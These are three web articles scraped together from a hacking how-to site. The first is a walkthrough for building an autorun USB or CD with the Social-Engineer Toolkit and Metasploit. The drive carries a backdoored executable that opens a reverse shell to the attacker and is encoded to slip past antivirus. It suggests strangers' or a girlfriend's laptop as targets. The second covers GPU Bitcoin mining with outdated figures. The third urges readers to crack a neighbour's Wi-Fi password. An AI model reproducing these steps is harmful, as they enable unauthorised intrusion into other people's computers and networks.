Social engineering is described as the clever manipulation of the natural tendency of human trust. All of the passwords, locks, and encryption in the entire world are useless against a good social engineer who can charm or trick you into giving it up.But what once started as a clever ploy on the telephone has turned into a sophisticated array of digital tactics and methods designed to get a target to turnover what they value most. While hacking and cracking will always have a place in information security, new attack vectors are opening up and you would be hard pressed not to take advantage of it.In this article, you'll get a walkthrough onSET(Social-Engineer Toolkit), a menu-based series of Python scripts that interfaces with theMetasploit Frameworkto craft and deliver payloads. From cloning sites thatphishpasswords to walk-by rooting. Interested? You should be! I am going to show you how to create a CD/DVD/USB drive that when plugged into almost any Windows computer, roots it and opens up a shell on YOUR remote computer.What You Need FirstSubversionis a software version management system developed by Apache. As many pentesting tools rely on subversion to handle their packaging and distribution, it is a key piece of software to use. You may download it from their site linked above, or on a Debian/Ubuntu system, you can:$ sudo apt-get install subversionNow you need is to create a folder in your /home directory. Change into that and use Subversion to download the packages we need. Usesuorsudoto bring up a root prompt and start with downloading the Metasploit Framework with:# svn co https://www.metasploit.com/svn/framework3/trunk/And we might as well grab SET while we are at it:# svn co http://svn.secmaniac.com/social_engineering_toolkit set/Getting Started with the FrameworkSET is an incredibly powerful framework, and I consider it to be in the top five needed tools. Let's go ahead and navigate to the directory SVN downloaded and start SET with:$ sudo ./setIf you did not notice, SET must be ran with root privileges. You should now be looking at the welcome menu.Options 4-6 are rather self explanatory, so we'll skip over those and dig right into the good stuff—the attack vectors. SET is unusual in pentesting tools, in that it is menu-based and not command line. This makes it very easy for new users to pick up and play around with.Go ahead and enter'1'to bring up the 'Social-Engineering Attacks' menu and be greeted with:Here is where we will start having fun.Your options range from attackingAPsto abusingQR codesand everything between. The idea behind all the vectors in the toolkit is that they rely on abusing the trust of the target, from getting them to enter their credentials on your fake Facebook page to hijacking their system with a USB drive. Sometimes the best way to enter a building is to simply ignore the door.Let's walk through one of my personal favorites, theInfectious Media Generator.The Drive-By PenetrationAutorun. Just the mention of this should make every security professional cringe. This is one of the very first things I disable on a server and in this lesson, I will explain why.Windows (and some flavors of Linux) are configured to automatically scan the contents of and execute files coded to autorun. Simply by plugging in the device or placing the CD in the drive you can force the OS to run code if you have physical access to it. Using Metasploit to craft a custom binary, SET allows us to make a file that when autorun, will inject its payload into a running process, and open up a remote shell on your computer that is configured to listen for it. From libraries to your girlfriends laptop, the uses for this are endless. I am sure you are excited to see how this works, so let's get right to it. It's easier then you think!As you can see, the options are extensive and it might not all make sense to you right away. Don't worry, for now we are going to use the Windows Shell Reverse_TCP payload. This will be injected into running memory and attached to a process. After it has exploited that vulnerability, it will open a remote shell!Here is where we have to hide our payload from antivirus. As before, SET lets you know your options and how likely they are to pass undetected. Truth be told, you can almost always choose the recommended backdoored executable here. The only time you would want to change that would be if you had a specific reason to use another encoding. We will select'16':SET will ask you what port you want the listener to run on. Port 443 is the default and in this example, I simply hit enter to use it. As the dialog says, there will be two files in your SET home directory folder 'auorun'. Program.exe is the backdoored file containing the Metasploit payload and autorun.inf is the file that tells windows, if autorun is enabled, to startProgram.exe.Now you are ready. SET has gone to the background and Metasploit has taken control. The listener is waiting for requests fromProgram.exe, and all that's left to be done is copy those two files to your removable media and start rooting! As soon as you plug it in (if it works), you should be greeted with a shell that looks something like this:Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2010 Microsoft Corp.C:\Documents and Settings\Administrator\Desktop>That's it! You are now inside that computer and can do as you please!TipsYou can useProgram.exeon its own if you have access to the computer. The autorun.inf is only there so you may plug it in as you walk by. Also keep in mind, autorun needs to be enabled on the machine.Be careful. Unauthorized access into a computer or network is a crime in a lot of places. This should be used for testing purposes only.As of this writing, the general vulnerability is unpatched. Metasploit injects the payload DLLs into an already running process and it never touches the hard drive at time of exploit. The only issues you might run into would be:Getting physical axx to the box.Autorun has to be enabled (or else you have to manually load the .exe, as I pointed out).Antivirus needs to not hit on it. This is the one that causes the biggest issues to people; AVG tends to be the best at finding it.I was able to perform this exploit on a fully patched Windows XP machine last week (as of this writing).Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byTMCnetRelatedHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Install an Off-the-Shelf Hard Drive in an Xbox 360 (Get 10x the GB for Your Money)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:Root the Motorola Droid Bionic using the one click methodAndroid Basics:How to Capture a Logcat for Detailed Bug ReportsAndroid Basics:What Is Root?How To:Root Your ChromecastHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Add Your Own Custom Screensaver Images to Your Kindle Lock ScreenHow To:Install the ElementalX Custom Kernel on Your Pixel or Pixel XLAndroid Basics:How to Root with CF Auto RootHow To:Use Smart Switch to Update Your Galaxy S6—Even It's RootedHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow to Root Android:Our Always-Updated Rooting Guide for Major Phone ModelsHow To:Make OTA Updates Easy by Rooting Your Pixel 3 with Magisk's Boot Image PatchHow To:Root vs. Jailbreak—The Differences Between Modding Android & iOSHow To:Unlock the Hidden Multi-Window Mode in Android 6.0 MarshmallowHow To:Update Your Rooted Nexus to Android 4.4.4 Without Losing Any Data (Update)News:This Guy Got Android Running on a Nokia Lumia Windows PhoneHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)How To:Root Your HTC 10 & Install TWRPHow To:Unlock the Bootloader on Your LG G6 (T-Mobile Variant)How To:Get Android Pay Working on a Rooted DeviceHow To:Root the New Android 5.0 Lollipop Preview on Your Nexus 5 or 7How To:Disable Heads Up Notifications on Any Android — No Root NeededHow To:Root Your Samsung Galaxy Note 3 in One Easy Click Using WindowsHow To:Remove the Boot-Up Sound on Your Galaxy S6Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Dual Boot Windows 10 & Mac OS X on Your MacHow To:Tether Your Nexus 5 Without Your Carrier KnowingNews:The Root Beer Hack Circle CaperCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsNews:Walking trees !!!!!How To:Remove a Windows Password with a Linux Live CDHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Windows 7 Won't Boot? Here's How To Fix Your Master Boot RecordCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Backup All of Your Xbox 360 Data to Your ComputerNews:FarmVille McDonald's Promotion
How to Mine Bitcoin and Make Money « Null Byte :: WonderHowTo
Bitcoinis a new currency built off "Satoshi Nakamoto's" (alias) 2008Bitcoin white-paper. Bitcoin provides its users with a way to make peer-to-peer (P2P) transactions without having to use a bank as a mediator. There is no middle man, no corporation backing it, and no one has access to your money, except you. It's decentralized from government, run by the people, for the people.How does it work then? The Bitcoin program uses cryptographic hashes and hash addresses for everything. The hash addresses are what you can use to send Bitcoin to another peer—just think of them as really long house addresses. Users can have unique hash addresses for every single transaction if they choose. Bitcoin (BTC) is generated by peers who use their computer's processors to crack the cryptographic hashes that Bitcoin keeps. When a hash is cracked, a user recieves 50 BTC, unless they are in a shared mining pool. Since the program is peer-to-peer, it makes it impossible to cheat or fake transactions, because all of the data is stored on the Bitcoin nodes and clients.Both the cryptographic difficulties and the people who use Bitcoin determine the value, which is currently set at $5 per Bitcoin. Bitcoin has seen prices as high as $30 each.Tons of places offer Bitcoin exchanges for cash, goods, pre-paid debit cards—evenAmazondoes cash-back with Bitcoin now. See theBitcoin sitefor more details.Where Is My BTC Stored?After running a bitcoin client for the first time, the client will create something called a "Bitcoin Wallet", which is where all your bitcoins are kept. From here, cryptographic keypairs are read from the user's wallet and tranformed into bitcoin addresses.GPU Mining BitcoinIn thisNull Byte, I'm going to show you how to mine Bitcoin using your graphics card, which is a much more suitable hash-cracker, and Bitcoin miner. To do this, you will need a decent graphics card. AMD graphics are superior at math functions, and can mine a lot faster than nVidia cards, so bear this in mind if you decide to shop for one.Follow the video below to learn how to mine Bitcoin on Windows with your GPU, for those fancy people with CUDA capable drivers and such.Please enable JavaScript to watch this video.WarningsKeep your Bitcoin Wallet safe! This is just like a real wallet. If a thief steals it, they get all your BTC.Download LinksBitcoinGUIMinerUsing GPU mining, you can seriously rake in some cake and get a piece of that sweet free money. Well, minus the cost of electricity.Come talk inIRC!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Apply thermal paste to bitcoin mining cardsHow To:The Best Bitcoin Wallet Apps for Your Android DeviceHow To:Inside Bitcoin - Part 1 - Bitcoin and AnonymityHow To:Import Private Keys to Bitcoin Wallet (Windows)How To:Buy Bitcoin Anonymously — A Guide to Investing in Cryptocurrency While Maintaining PrivacyNews:Bitcoin Cash Is Now Available on CoinbaseNews:Inside Bitcoin - Part 2 - Cryptographic HashesCoinbase 101:How to Buy & Sell Bitcoin, Bitcoin Cash, Ethereum & LitecoinCoinbase 101:How to Send & Receive Bitcoins & Other CryptocurrenciesCoinbase 101:How to Enable Price Alerts to Buy or Sell at the Perfect TimeNews:Now You Can Track the Bitcoin Mania Bubble in Augmented RealityCryptocurrency for the Hacker:Part 3 (Why It May Be a Bad Idea for You)Coinbase 101:Fees & Fine Print You Need to Know Before Trading Bitcoins & Other CryptocurrenciesHow To:Access Bitcoin Gambling Sites from Your Phone — Even if They Ban Your CountryBinance 101:How to Deposit & Withdraw Bitcoins & Other CryptocurrenciesCoinbase 101:How to Add a PayPal Account to Get Your Cash FasterNews:'Turkish Crime Family' Demands $75,000 in Bitcoin from Apple in Exchange for Hacked iPhone AccountsNews:ProntonMail under DDoS AttackHow To:Transfer Bitcoin, Ether & More from Coinbase to BinanceHow To:Cryptocurrency for the Hackers : Part 1 (Introduction)Binance 101:How to Install the Mobile App on Your iPhoneHow To:Access the Dark Web While Staying Anonymous with TorCoinbase 101:How to Refer Friends & Family to Earn BonusesCryptocurrency for the Hacker:Part 2 (Currency for Hackers)How To:Binance Trading Pairs Help You Keep Track of Your Favorite Coins' ValuesEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkNews:Minecraft World's Ultimate Survival Guide, Part 4How To:An Exhaustive Guide to Mining and Resource Collection in MinecraftNews:Coal Mine Fire in Pennsylvania Ghost TownNews:King Solomon's MineNews:Maciste In King Solomon's MinesBoo Box Challenge:AnniversaryNews:Minecraft World's Weekly Workshop: Experimenting with MinecartsNews:My Love Like AshProjection Mapping Minecraft:Mining in the Real WorldNews:Wolves, Creepers and ThunderstormsHow To:make mamon tostado (a video from pinoyhowto.comNews:I want your moneyNews:5 Ways to Make Money with Youtube
How to Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet! « Null Byte :: WonderHowTo
Want to take advantage of your neighbor's super fast Wi-Fi connection? If they're smart, they probably have it password protected (otherwise you wouldn't be reading this, would you?). But if you have an Android phone, you can get back at them for always parking in your spot and slamming the door when they get home at 2 a.m.—by stealing...er, borrowing, their connection.Agroup of researcherscame up with a hack to get around hardware limitations and addmonitor modeto Android devices to allow them tocrack Wi-Fi passwords.Image viablogspot.comMonitor mode lets you see all the traffic going through a network and how many devices are connected to it, but it can also be used for more nefarious purposes. If you're patient enough, you can crack the WEP key on a network by capturing data packets in monitor mode.To add monitor mode to an Android device, the researchers reverse engineered the Broadcom radio chip. They modified the firmware on the chipsets in the Nexus One and Galaxy S II, which are the same ones used in the majority of mobile devices. The code is posted onGoogle Code, but you'll need to know which chipset you have and download the right one for your phone.Once you've downloaded the code, it's as simple as extracting the .zip file, then running the setup and configuration files. They've included instructions for each chipset and a few different devices ontheir blog, so head over there to find the specifics for yours.After it's up and running, check out one of ourtutorialsto learn how to use it to crack the key. So, next time your neighbor wants to borrow your power drill, rest assured that you're "borrowing" something much more valuable from them!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'Android Basics:How to Connect to a Wi-Fi NetworkHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow To:Map Networks & Connect to Discovered Devices Using Your PhoneNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Share Your Windows 8 PC's Internet with a Phone or Tablet by Turning It into a Wi-Fi HotspotHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Browse and Download Files from Your Android Phone Using Your Computer's Web BrowserHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Connect to Protected Wi-Fi Hotspots for Free Without Any PasswordsHow To:Recover a Lost WiFi Password from Any DeviceHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:USB Tether Your Android Device to Your Mac—Without RootingHow To:Crack Wi-Fi Passwords—For Beginners!How To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack Wi-Fi Networks with BettercapHacking Android:How to Create a Lab for Android Penetration TestingGoogle Chrome 101:How to Play the Hidden Dinosaur Mini-Game on Your iPhone or Android PhoneHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksAndroid for Hackers:How to Exfiltrate WPA2 Wi-Fi Passwords Using Android & PowerShellHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Share Any Password from Your iPhone to Other Apple DevicesHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSNews:Advanced Cracking Techniques, Part 1: Custom DictionariesNews:In Just a Clik, Turn Your Smartphone into a YouTube Remote for Any Web Display